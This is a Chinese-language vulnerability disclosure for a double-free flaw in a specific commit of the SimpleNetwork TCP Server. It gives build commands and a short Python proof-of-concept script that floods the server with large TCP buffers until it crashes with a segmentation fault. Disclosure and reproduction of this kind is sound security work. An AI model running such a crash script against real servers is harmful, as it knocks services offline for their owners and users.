SimpleNetwork TCP Server 的 commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 被发现包含一个双重释放漏洞,可通过精心构造的 TCP 数据包加以利用。触发该双重释放漏洞可使客户端远程崩溃任何 SimpleNetwork TCP 服务器。在其他情况下,双重释放漏洞可能导致未定义行为,并在适当条件下可能执行代码。
为确保你拥有编译该库所需的标准构建工具,请安装以下软件包(在大多数系统上这些工具通常已安装):
sudo apt-get install build-essential git
该漏洞可以通过向服务器发送连续的请求来复现,这些请求在 TCP 数据包中包含一个大的字符缓冲区。首先,编译源代码中提供的 'libSimpleNetwork' 库和示例服务器:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
如果成功,服务器将崩溃,你将看到来自应用程序的以下输出:
segmentation fault ./server 80 1